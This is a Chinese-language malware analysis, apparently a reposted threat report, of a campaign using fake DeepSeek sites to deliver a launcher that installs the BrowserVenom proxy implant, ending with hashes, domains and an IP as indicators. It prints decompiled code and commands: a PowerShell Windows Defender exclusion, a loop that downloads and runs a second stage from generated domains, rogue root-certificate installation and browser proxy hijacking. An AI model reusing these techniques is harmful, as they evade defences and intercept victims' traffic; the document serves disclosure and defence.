将二进制空间安全设为"星标"
第一时间收到文章更新
钓鱼诱饵
https://r1deepseek-ai.com/gg/cc/AI_Launcher_1.21.exe恶意安装程序
恶意安装程序 AI_Launcher_1.21.exe 是下一阶段恶意软件的启动器。一旦这个二进制文件被执行,它将打开一个模仿 Cloudflare 验证的窗口, 如下图:
点击任一"安装"按钮会下载并执行相应的安装程序, 但有一个关键点: 同时还会运行另一个函数: MLInstaller.Runner.Run() , 该函数会触发植入程序中具有感染性的部分。
private async void lmBtn_Click(object sender, EventArgs e){try{MainFrm.<>c__DisplayClass5_0 CSlt;>8__locals1 = new MainFrm.<>c__DisplayClass5_0();this.lmBtn.Text = "Downloading..";this.lmBtn.Enabled = false;Action action;if ((action = MainFrm.<>O.<0>__Run) == null){action = (MainFrm.<>O.<0>__Run = new Action(Runner.Run));}Task.Run(action);CSlt;>8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), "LM-Studio-0.3.9-6-x64.exe");[...]
当函数MLInstaller.Runner.Run()在受害机器上以独立线程执行时,感染过程会按以下三个步骤展开:
第一步: 规避 Windows Defender 检测
恶意函数首先尝试将用户文件夹从 Windows Defender 的保护中排除。为此,它使用 AES 加密算法对一个缓冲区进行解密。AES 加密信息(如密钥和初始化向量)是硬编码在植入程序中的, AES信息如下:
powershell.exe -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath $USERPROFILE命令参数含义如下:
-inputformat none : 不从标准输入接受格式化输入(通常用于脚本自动执行)
-outputformat none : 不使用格式化输出(防止格式化干扰解析)
-NonInteractive : 非交互模式,不弹出窗口或等待用户操作
-ExecutionPolicy Bypass : 绕过 PowerShell 脚本执行策略限制(可执行任意脚本)
-Command : 后跟要执行的 PowerShell 命令
Add-MpPreference -ExclusionPath $USERPROFILE : 执行 PowerShell 命令,将用户目录添加为 Defender 的排除路径
第二步: 下载并执行第二阶段组件
随后,恶意函数会执行另一条 PowerShell 命令,从一个恶意域名下载可执行文件。该域名是通过简单的域名生成算法(DGA)推导得出的。下载的文件被保存为: %USERPROFILE%\Music\1.exe , 下载完成后立即被执行。相关代码如下:
$ap = "/api/getFile?fn=lai.exe";$b = $null;foreach($i in 0..1000000) {$s = if ($i - gt 0) {$i} else {""};$d = "https://app-updater$s.app$ap";$b = (New - Object Net.WebClient).DownloadData($d);if ($b) {break}};if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() - match"^v2") {[IO.File]::WriteAllBytes("$env:USERPROFILE\Music\1.exe", $b);Start - Process "$env:USERPROFILE\Music\1.exe" - NoNewWindow} else {([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)}
第三步: 加载并执行第二阶段有效载荷(BrowserVenom)
接下来,MLInstaller.Runner.Run()函数会从恶意安装器缓冲区中的 ConfigFiles.load 类和变量中提取一个硬编码的第二阶段Payload。此可执行文件使用与前面相同的 AES 算法解密, 解密后的程序会被加载到内存中并立即运行。
重定向流量
这个二阶段植入体命名为 BrowserVenom ,因为它会重新配置受害者的所有浏览器实例,将其流量强制引导通过攻击者控制的代理服务器。
首先,BrowserVenom 检查当前用户是否具有管理员权限(如果没有则退出),并安装由威胁行为者创建的硬编码证书:
[...]X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert);if (RightsChecker.IsProcessRunningAsAdministrator()){StoreLocation storeLocation = StoreLocation.LocalMachine;X509Store x509Store = new X509Store(StoreName.Root, storeLocation);x509Store.Open(OpenFlags.ReadWrite);x509Store.Add(x509Certificate);[...]
然后,恶意软件会将硬编码的代理服务器地址添加到所有当前安装并运行的浏览器中。对于基于 Chromium 的浏览器(例如 Chrome 或 Microsoft Edge),它会添加 proxy-server 参数并修改所有现有的 LNK 文件;而对于基于 Gecko 的浏览器(例如 Mozilla 或 Tor 浏览器),植入程序会修改当前用户的个人资料首选项:
[...]new ChromeModifier(new string[]{"chrome.exe", "msedge.exe", "opera.exe", "brave.exe", "vivaldi.exe", "browser.exe", "torch.exe", "dragon.exe", "iron.exe", "epic.exe","blisk.exe", "colibri.exe", "centbrowser.exe", "maxthon.exe", "coccoc.exe", "slimjet.exe", "urbrowser.exe", "kiwi.exe"}, string.Concat(new string[]{"--proxy-server=\"",ProfileSettings.Host,":",ProfileSettings.Port,"\""})).ProcessShortcuts();GeckoModifier.Modify();[...]
public static readonly string Host = "141.105.130[.]106";public static readonly string Port = "37121";public static readonly string ID = "LauncherLM";public static string HWID = ChromeModifier.RandomString(5);
变量 Host 和 Port 是用作代理设置的,而 ID 和 HWID 被附加到浏览器的 User-Agent 中,可能作为追踪受害者网络流量的方式。
威胁指标
恶意程序: AI_Launcher_1.21.exe
Hash:
d435a9a303a27c98d4e7afa157ab47de、
dc08e0a005d64cc9e5b2fdd201f97fd6
域名和IP地址如下:
deepseek-platform.com (主钓鱼网站)
r1deepseek-ai.com (分发服务器)
app-updater1.app (第二阶段分发服务器)
app-updater2.app
app-update.app
141.105.130.106(恶意代理)